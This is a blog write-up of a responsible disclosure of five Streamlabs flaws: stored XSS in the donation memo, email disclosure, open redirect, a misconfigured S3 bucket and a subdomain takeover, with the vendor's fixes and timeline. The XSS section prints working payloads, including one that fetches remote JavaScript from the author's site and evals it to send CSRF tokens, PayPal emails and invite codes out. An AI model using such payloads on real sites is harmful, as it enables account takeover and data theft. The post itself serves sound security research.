Streamlabs: Stored XSS in donation page leading to account compromise (and my first reward)!

Introduction to Vulnerable Website
Streamlabs is a broadcaster tool software service, and offers services for the user to customize and optimize their live stream. Streamlabs offers a free service, as well as a premium paid subscription service. Streamlabs is a service that allows users to send and receive money (“tips”) through third-party payment processors. Streamlabs also features a variety of tools and widgets that can utilize various data from their services.

In the past year, 2016, I have known Twitch for quite a while, but I don’t have an account yet. The first time I saw it was from an option in Minecraft, which allows you to stream to Twitch directly (version 1.9 and below), but I didn’t really care. In the mid-year, I was exposed to a music label called Monstercat in YouTube and they have a nice live stream both in Youtube and Twitch. Lastly, I sometimes watch Twitch Fails in Youtube. With all these exposures to Twitch combined, I was lured into registering an account on December 2016 (according to Twitch API).

I don’t take live streaming that seriously, so I seldom just do around an hour of boring live stream with no webcam and no mic, and of course, no audiences. I do however watch live streams from other streamers in Twitch, so I know tools that other streamers use, one of them being Streamlabs (formerly TwitchAlerts). So I registered an account and set up my alertbox and donation settings as if I’m gonna be an actual live streamer.

Streamlabs: Donation Settings
The old UI for Streamlabs. If it wasn’t for writing this post, I wouldn’t have remembered this old look.

At the bottom half of the “Donation Settings” page, there are options to customize your donation page, one of the options being “Donation Memo”. While thinking of a good description to write there, I found out that I am allowed to used Markdown to write it. Of course, a good team of web designers wouldn’t have let a <script>alert('XSS');</script> or a <img onerror="alert(1)"> slip through this. Or have they? In Markdown, creating a link is done by [text]( which will result in the corresponding HTML rendered as<a href="">text</a>. Is the Markdown parser in Streamlabs smart enough to prevent an XSS from this?

Vulnerability #1 – Stored Cross-Site Scripting (XSS) in Streamlabs Donation Page
I know, I know, the question above is very cliché and “cringy”, but bear with me as I’m not a good writer. As you might have guessed, you can break the Markdown parser with a quotation mark ("). It was 3 in the afternoon on the 28th of February 2017, I was customizing my Streamlabs donation page and I fiddled a little with the “Donation Memo” settings when I found that vulnerability. By putting a quotation mark, I jumped out of the href attribute and was about to inject an onmouseover listener to pop up and alert box. This is one my earliest payload:


And the resulting HTML rendered:

<a href=""onmouseover='alert("StreamLabs.Stored.XSS.Vulnerability-Cheat.Activated!-Alert");'a="">test</a>

Unfortunately, I can’t have spaces in the link, because this will render the Markdown text raw as how it is, instead of generating a hyperlink. I can’t have < and > in there neither, as they are the building blocks of HTML, I won’t be surprised it was being sanitized. There’s not much I can do without spaces, even declaring a Javascript variable needs spaces. The best I can do without space is by adding a style attribute which positions a giant slanted blue “test” text on the upper left corner on the screen.


And then, finally, on the midnight of 28th of March, I’ve made a breakthrough and was able to get spaces in my injected XSS! The idea was by having two Markdown hyperlink entities and then comment out the useless parts via Javascript.

[\*/var a = new Date();alert(a);/\*]("onmouseover='alert("StreamLabs.Stored.XSS.Vulnerability-Cheat.Activated!-Alert");/*) [test2]("*/')

It looks messy, but you can get a better idea by looking at the rendered HTML.

<a href=""onmouseover='alert("StreamLabs.Stored.XSS.Vulnerability-Cheat.Activated!-Alert");/*">*/var a = new Date();alert(a);/*</a><a href=""*/'>test2</a>

So what’s the sorcery here!? By using Javascript comments, I can tell Javascript to ignore the "> generated by Streamlabs’ Markdown parser at the end of the link, which makes the section of my Markdown available to insert Javascript codes, and surely spaces are allowed! Can we escape from the a element by inserting '> at the end of the Javascript code to inject HTML codes? Nope! '> is converted to '&gt; unfortunately, looks like we just have to make the best out of this a element.

Nearly half a year passed and I tried to leverage it to be a lot more hazardous. I made the hyperlinked text cover the whole screen via CSS and onmouseover listener to trigger the Javascript code once anybody visits the page. However, I don’t quite have to worry much about my exploit actually victimise anybody, as my Twitch only has 3 followers (one being my IRL friend) and I don’t think anybody is silly enough to enter my donation page. In fact, I’ve disabled the hyperlink to my donation page at the panels of my Twitch channel.

I was thinking that this could be the next Samy worm if this script gets copied to other streamers’ donation pages, but even if my donation page gets little to no traffic, it could still propagate beyond what I can control and I would totally be in hot soup. So I ended up just having my Javascript code request a Shared Access invitation link and obtaining some other data and sending all the data to my website. Eventually the length of my script is too long that I hit the Streamlabs’ Donation Memo character limit, so I copy all the script to my website instead and made the Javascript code in my donation page to make an XMLHTTPRequest to my website to obtain the additional Javascript payload.

Here is my final payload:

[\*/border:999px solid white;z-index:999;position:fixed;top:0px;left:-20px;' onmouseover='var scriptPayload=new XMLHttpRequest();"GET","https"+"://mywebsite/script.js.php",false);scriptPayload.send();if(scriptPayload.status==200){eval(scriptPayload.responseText);}else{"none";}/\*]("style='/*) [test2](*/')

Data sent to my website:

Date | IP Address | CSRF Token | PayPal Email | Total Donation Received | Invite Code

It sure sounds fun sending this to legitimate streamers and gain access to their Streamlabs account, but I don’t want to get banned from watching my favourite streamers, and sending this to random streamers probably would raise their suspicion from clicking it, so let’s be the good guy and report this to Streamlabs instead.

P.S. Nobody is victimised in the making of this exploit.

Click here to view the proof-of-concept scripts used in this demonstration.

Vulnerability #2 – Information Disclosure of Streamer’s E-mail Address
On the midnight of 27th of March 2017, while trying to improve my Javascript payload mentioned above, I found out that Streamlabs had changed their user interface and the way the donation page was displayed. Previously, the parsed Markdown Donation Memo was echo’ed directly on the donation page. After the update of their UI, the donation memo was loaded seperately by initiating an XMLHTTPRequest. If this feature was implemented correctly, it wouldn’t have been much of a problem other than how it gives me a little trouble trying to see the effect of my Markdown payload on the donation page.

However, they introduced an information disclosure by having a streamer’s private e-mail address in the JSON response for the XMLHTTPRequest!

When I saw my own e-mail in the response, I am totally disgruntled about it. To make sure that it actually works on other streamers, I tried to insert a few high-profile Twitch streamers in the broadcaster parameters in the URL, and sure enough, their e-mail address was no more secret! It could lead to spam mails in the streamer’s e-mail account, exposure of a streamer’s real name, exposure of their private accounts (such as Facebook) by using their e-mail to search for it. It can even be used for monetary intents such as querying the private e-mail address of a list of Twitch streamers and then selling it.

Vulnerability #3 – Open Redirect at “/login” Endpoint
I didn’t have any record of when I’ve discovered this. The r parameter at the /login endpoint of Streamlabs can lead to open redirect if a streamer has logged in. If not, a login page will show, and logging in through the page will lead the streamer to the URL in the r parameter.

Example of opening after logged in.

This request is made by providing a valid logged in session cookie. Notice the 302 response code and the “Location” response header.

EDIT (3 January 2018): In the evening, I sent my friend the link via Facebook Messenger private messaging and tell him to login because I need a second account to do more penetration testing. Surprisingly, he said he was redirected to Facebook after logging in. This is when I realised open redirect also worked with the Referer request header.

Request sent by providing a valid logged-in session cookie, notice the “Referer” request header and the “Location” response header.

Since all external links sent via Facebook or Messenger is hyperlinked with the “linkshim” system, which routes the links to before redirecting to the actual link, sees the referer, thus redirecting my friend back to Facebook after logging in.

Vulnerability #4 – Misconfigured Amazon S3 Bucket of “”
In the afternoon of the first day of 2018, the day after I sent this article as a locked password protected article to Streamlabs, they hadn’t replied yet, but I’d expected that since it was New Year, give them a break! Anyway, I decided to try exploiting the “Media Gallery” feature in Streamlabs, where streamers can upload images and sounds to be used in features such as the Alertbox widget. All media files that get uploaded ends up in the “” Amazon S3 bucket. By accessing the subdomain’s root directory, we get a sweet directory listing of the first 1000 files and folders.

Something tells me that an article I read in Medium last time about pwning an AWS S3 Bucket by Sriram can be finally tested out. So I grabbed myself the command-line interface for AWS (aws-cli), configured it, and ran the command aws s3 ls s3://

Awesome! Let’s see if we can get a static page in there 😉 …

Aww, c’mon… 🙁 What if I try to upload to my own directory? (Side note: All Streamlabs users have their own folder in the subdomain. For example, my Twitch ID is 140938055, if I upload an image named image.jpg, the directory of the image will be

It didn’t work as well, as I got the same error. Then I tried rm as well, the results are equally disappointing. Looks like the only thing we can do with this vulnerability is list the file names to download the raw sound effects and images used by streamers in their stream, which is probably something a streamer’s die-hard fans would love.

But a few days later, I found a way to host static pages in the subdomain. By uploading a valid HTML document via the Streamlabs account dashboard, regardless of the extension of the file, Amazon S3 will still response the file with the text/html content type.

The question mark (?) in the URL is there to clear the local cache, the page still shows perfectly without it.

This vulnerability can be used to host phishing pages, or probably host malicious payloads to be used in malware.

EDIT (24 January 2018): The vulnerability is patched and no static pages can be hosted anymore unless another similar vulnerability is found. So this TriHard defacement page is most probably the last, if not the only, static page left in (only works in Safari for iOS, or else the page will be downloaded instead of shown as a static page).

Vulnerability #5 – Subdomain Takeover of “”
In the morning of the 9th of January 2018, I saw a notification from the Facebook Messenger app, which is a reply from Streamlabs that I’ve been waiting for. They asked me to “submit any information of that nature via ticket” at, so I did. I was gonna try fiddling around with their support system, but then I quickly realised that it was just a subdomain hosted on Zendesk.

Going to redirects me to Since Streamlabs is formely known as TwitchAlerts, and the domain is still active and in use, I tried going to

Oops, somebody forgot to remove the subdomain from their DNS records! As a further proof, here’s the output from nslookup.

I’ve never used Zendesk before, so let’s register a account for the sake of this security vulnerability disclosure article (and to be honest this is my first time being able to find an unclaimed subdomain, so why not?).

Next, map the subdomain.

After enabling Guide, which is a feature to create and customise a web page for the support desk site in Zendesk, I added my custom text here and there to make the page act as a defacement page. However, everytime I go to, Zendesk redirects me to, sadly, but I suppose that is enough to prove that I have control over the subdomain now until Streamlabs removes the DNS record.

Streamlabs’ Response
TL;DR: Read the “Disclosure Timeline” below (really, this part is more like a blog than a security write-up).

On the last day of 2017, I spent a few hours in the evening finalizing this article and sent it to Streamlabs via their Facebook page as a New Year’s gift (or surprise, sorry Streamlabs). I wouldn’t expect them to be replying in the coming days, as it’s the New Year’s, give them a break, they’ve been dealing with the trolls and chargeback requests all-day! However, 4 days later, I’m a little worried that the automated response has marked my message as “read”, so the page administrators might’ve ignored it thinking my message is already replied to, so I sent another message at their working hours to confirm if they’ve read it (their clock is 16 hours behind mine!).

Two days passed but I’m still not getting any response, I’m thinking that they are probably just taking a longer break for the New Year’s, but then I checked their Twitter @StreamlabsHQ and saw that they are doing a live stream for the grand release of Streamlabs OBS.

And so I looked at the past broadcasts in their Twitch channel and they seem to be open for business.

“Our biggest product release yet…” – January 5, 2018

So I sent an e-mail with about the same contents as the Facebook private message below to [email protected] . Finally, at the 9th of January, I got the first response from Streamlabs via their Facebook page.

Hi there, could you please submit any information of that nature via ticket?

So I did.

Confirmation letter of my report to Streamlabs’ support helpdesk.

While I was submitting the request to their helpdesk, I discovered vulnerability #5 as described above, which is why I hadn’t mentioned it in any e-mail, including the one in the picture.

Every morning after booting up my computer, I’d be checking my e-mail more often than I usually do (usually once or twice per week) anticipating another response from Streamlabs. Finally, four days later, Karl Jakober, developer for Streamlabs, used his own private company e-mail to reply me (instead of using the Zendesk support desk). Even though I had been looking forward to receive a reply, somehow I don’t think I’m fully prepared to receive an actual reply from a developer in a relatively large and famous company. I honestly felt a little scared to reply (we all have that first time) so I tried to phrase everything in a professional manner and let my friend proofread it before sending out the reply. Due to different time zones, I would have to wait for the second day to receive any form of reply.

In the image, you can see me talking about the fix for vulnerability #4 isn’t really good enough. As you can see below, using my iPad, I can still view the “png” as a static webpage despite having the Content-Disposition header, this is mainly due to the Content-Type response header returning “text/html” when it should be “image/png” regardless of the content of the file.

The file was named “mysitenowtrihard_2.png” because it is a reupload of the same file to see how the fixes deployed affects the response headers of my files.

In the following e-mails, Chelsea Simms, head of operations in Streamlabs, joined into the conversation and requested for my shipping address to deliver me some swag. I live in Malaysia, as I said in my introduction here, but I gave my address anyway and expected the next e-mail to be something like “I apologize but Malaysia is too far away and we are only able to deliver swag for US citizens only”. But no, in the next letter, “I will get together a swag care package for you this week!”. Oh, umm, ok? Guess I’ll wait for a month for that, just in time for Chinese New Year (16 February).

Meanwhile, Karl confirmed that vulnerability #4 is fixed.

Mime types are now filtered on file upload, hopefully the redirection issue will be fixed tomorrow!

Just five days later, on a Monday afternoon, when I was lazily and slowly finishing this blog post, I was called to go to the front door to pick up a package for me. I was kinda puzzled, there’s no way the Streamlabs package can arrive that fast, it hasn’t even been a week since I gave my postal address. And I was wrong, again! I took a peek at the origin address: “San Francisco”, that’s where Streamlabs is located. However, I had to pay MYR35.20 (around $9) to get my hands on the package, that’s kind of a little bummer, but it’s still worth it, totally worth it. Apparently, it is the Import Tax Fees set by our government.

While unpacking the package, I tried to open as gently as possible. I was thrilled, absolutely awestruck, exhilarated. It has went across the North Atlantic Ocean and then into China then to me. There is a notebook, merch, three stickers along with a green envelope containing a badge and a “Thank you” card. The yellow shirt is actually a little too big for me, guess I’m gonna have to eat a little more than usual to wear that. The stickers and badge is actually the icon for Streamlabs All-Stars and it appears that you can get the stickers from TwitchCon. Guess what? I’m not an All-Star member, nor have I ever been to US before, but I got these merchandises, which is awesome! But most notably, the item which would’ve caught everybody’s eye, is the handwritten appreciation note, you can’t get this anywhere, you won’t be able to obtain a copy of this for any price, it’s meant for me, solely for me, and this is totally priceless, it is worth so much more than any of the swag.


Thank you for helping us find & resolve security issues on our site. Here’s some StreamLabs swag for you. Hope you like them.

StreamLabs Team 🙂

Of course I would like them, I’d treasure them so much. This is my first ever swag, or to be exact the first time I’ve ever got anything from reporting security issues (I’ve never reported much anyway to be honest).

So the next day, I sent my thanks to Chelsea and Karl via e-mail (I forgot to do so the day I receive the gift). The next day, Chelsea sent his appreciation once again.

So glad to hear you received everything! We thank you for your diligence in helping us resolve these issues.

And Karl finally confirmed the fix of vulnerability #3, which is the last vulnerability to be resolved.

Hey Nicholas, I was away from the office last week, but wanted to let you know the last issue (redirection) has been fixed.

In conclusion, it has been a wonderful journey. The Streamlabs staff I contacted are all responsive, kind, polite and we are able to discuss through the vulnerabilities and some fixes deployed. Despite not having a bug bounty program, the fact that they are willing to provide me swag is really something that I would give my kudos to. In fact, as you have read above, Chelsea said that she will get together a swag care package for me this week, but after receiving the package, which has the tracking number above it, I checked it in the FedEx Tracking (she never gave me the number) and realized…

She sent the e-mail in 12:01pm local time, but FedEx already received the package in 4:55pm, just after 4 hours. That ain’t “this week“, that’s TONIGHT! She lied… but I love it! It made me thought the package will arrive a lot later, surprising me out of the blue, now that’s professionalism.

EDIT (27 January 2018): Streamlabs still hasn’t responded me whether or not I can make this blog post public. In the meantime, I found the most probable flight that was carrying my swag from Guangzhou to Bayan Lepas, it was FX6159, didn’t take me quite long to find it.

(Click here to view the flight path in another tab)

Good job, Streamlabs. It’s a wonderful experience for me.

Disclosure Timeline
All time are in GMT+8.

31 Dec 2017 This article is sent to Streamlabs via Facebook private messaging and password protected. Happy New Year’s Eve!
3 Jan 2018 Haven’t got any response. Pinged Streamlabs via Facebook private messaging to see if they’ve read the article.
5 Jan 2018 Still haven’t got any response. Sent an e-mail to [email protected] .
9 Jan 2018 Streamlabs responded to my message in Facebook private messaging, asking me to submit the information via a ticket in
13 Jan 2018 Karl, developer for Streamlabs, sent an e-mail to me to inform that vulnerability #1, #2, #5 is fixed while vulnerability #3 and #4 is still being fixed.
14-17 Jan 2018 A few e-mail exchange between me and Karl. Chelsea, head of operations in Streamlabs, joined into the conversation as well to discuss about shipping my swag and confidentiality of some information in this blog post.
22 Jan 2018 My Streamlabs swag was delivered to my doorstep! Yay!
24 Jan 2018 Karl confirmed #3 as the last vulnerability to be fixed. YouTube PoC videos are set to Public instead of Unlisted, blog post remains password protected and sent for verification before publishing publicly.
30 Jan 2018 Karl verified that everything seems fine for me to publish. Password protection removed from article.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.